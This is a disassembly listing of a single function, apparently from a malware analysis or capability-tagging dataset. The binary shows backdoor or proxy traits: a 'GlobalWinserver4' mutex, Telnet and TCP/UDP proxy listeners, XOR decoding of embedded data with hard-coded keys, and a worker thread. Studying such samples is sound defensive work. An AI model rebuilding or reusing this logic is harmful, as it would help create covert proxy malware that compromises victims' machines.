Function at 0x401060
Capabilities:
Create thread
Encode data using xor
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x43c
mov eax, dword [0x425064]
xor eax, esp
mov dword [esp + 0x438], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
push esi
push edi
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_OpenMutexA]
push str.GlobalWinserver4
push 0
push 0x1f0001
mov edi, eax
call esi
mov dword [0x4347cc], eax
test eax, eax
je 0x4010e6
add edi, 0xbb8
mov dword [esp + 0xc], edi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
call ebx
cmp dword [esp + 0xc], eax
jb 0x4010d9
push 0x32
call edi
push str.GlobalWinserver4
push 0
push 0x1f0001
call esi
mov dword [0x4347cc], eax
test eax, eax
jne 0x4010b4
jmp 0x4010e6
cmp dword [0x4347cc], 0
jne 0x4013a0
push str.GlobalWinserver4
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [0x4347cc], eax
call fcn.004013c0
test eax, eax
jne 0x401394
mov eax, 0x436a98
call fcn.00403bb0
xor esi, esi
mov ebx, 1
jmp 0x401120
movzx ecx, word [0x42852c]
push ecx
mov eax, ebx
call fcn.00401f90
test eax, eax
jne 0x401147
movzx edx, word [0x42852c]
push edx
push 0x420f6c
mov eax, ebx
call fcn.004020b0
call fcn.00405ad0
test eax, eax
jne 0x40116b
movzx eax, word [0x42852c]
push eax
call fcn.00402210
add word [0x42852c], bx
add esi, ebx
cmp esi, 5
jl 0x401120
xor esi, esi
lea ecx, [ecx]
movzx ecx, word [0x42af44]
push ecx
mov eax, ebx
call fcn.00401f90
test eax, eax
jne 0x401197
movzx edx, word [0x42af44]
push edx
push str.Telnet
mov eax, ebx
call fcn.004020b0
call fcn.004018e0
test eax, eax
jne 0x4011bb
movzx eax, word [0x42af44]
push eax
call fcn.00402210
add word [0x42af44], bx
add esi, ebx
cmp esi, 5
jl 0x401170
movzx ecx, word [0x436a9c]
push ecx
mov eax, ebx
call fcn.00401f90
test eax, eax
jne 0x4011e2
movzx edx, word [0x436a9c]
push edx
push str.LSP_TCP_Proxy
mov eax, ebx
call fcn.004020b0
movzx eax, word [0x436a9e]
push eax
xor eax, eax
call fcn.00401f90
test eax, eax
jne 0x401207
movzx ecx, word [0x436a9e]
push ecx
push str.LSP_UDP_Proxy
call fcn.004020b0
mov esi, 0x436a98
call fcn.00403c00
xor eax, eax
mov esi, 0xd9b1e7cb
mov ecx, 0xab706c7e
lea ecx, [ecx]
xor dword [eax + 0x42d874], esi
xor dword [eax + 0x42d878], ecx
add eax, 8
cmp eax, 0x18
jb 0x401220
mov eax, 0x42d88c
xor byte [eax], 0xcb
mov dword [esp + 0xc], esi
mov dword [esp + 0x10], ecx
xor eax, eax
jmp 0x401250
xor dword [eax + 0x433c94], esi
xor dword [eax + 0x433c98], ecx
add eax, 8
cmp eax, 0x10
jb 0x401250
xor eax, eax
jmp 0x401270
mov dl, byte [esp + eax + 0xc]
xor byte [eax + 0x433ca4], dl
add eax, ebx
cmp eax, 5
jb 0x401270
mov dword [esp + 0xc], esi
mov dword [esp + 0x10], ecx
xor eax, eax
jmp 0x401290
xor dword [eax + 0x433cac], esi
xor dword [eax + 0x433cb0], ecx
add eax, 8
cmp eax, 0x10
jb 0x401290
xor eax, eax
jmp 0x4012b0
mov cl, byte [esp + eax + 0xc]
xor byte [eax + 0x433cbc], cl
add eax, ebx
cmp eax, 6
jb 0x4012b0
movzx edx, word [0x436a9e]
movzx eax, word [0x436a9c]
push edx
push eax
call fcn.00403760
lea ecx, [esp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx edx, word [esp + 0x1a]
movzx eax, word [esp + 0x16]
movzx ecx, word [esp + 0x14]
push edx
push eax
push ecx
push str._04x_02x_02x
lea edx, [esp + 0x50]
push edx
push 0x3ff
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [esp + eax + 0x50]
push eax
call fcn.0040c00e
add esp, 0x14
lea ecx, [esp + 0x40]
push ecx
push 0x400
push 0x442c18
call fcn.0040cc27
add esp, 0xc
push 0x44301c
push 0
push 0x442c18
push 0x4022f0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x401351
mov byte [0x443018], bl
mov esi, dword [sym.imp.USER32.dll_GetMessageA]
push 0
push 0
push 0xffffffffffffffff
lea edx, [esp + 0x30]
push edx
call esi
test eax, eax
jne 0x401357
push 0x4347d8
call fcn.00405bf0
push 0x4363f8
call fcn.00401a00
mov eax, 0x436a98
call fcn.00403db0
mov byte [0x443018], 0
mov byte [0x443020], 0
mov eax, dword [0x4347cc]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x444]
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.0040bd50
mov esp, ebp
pop ebp
ret 0x10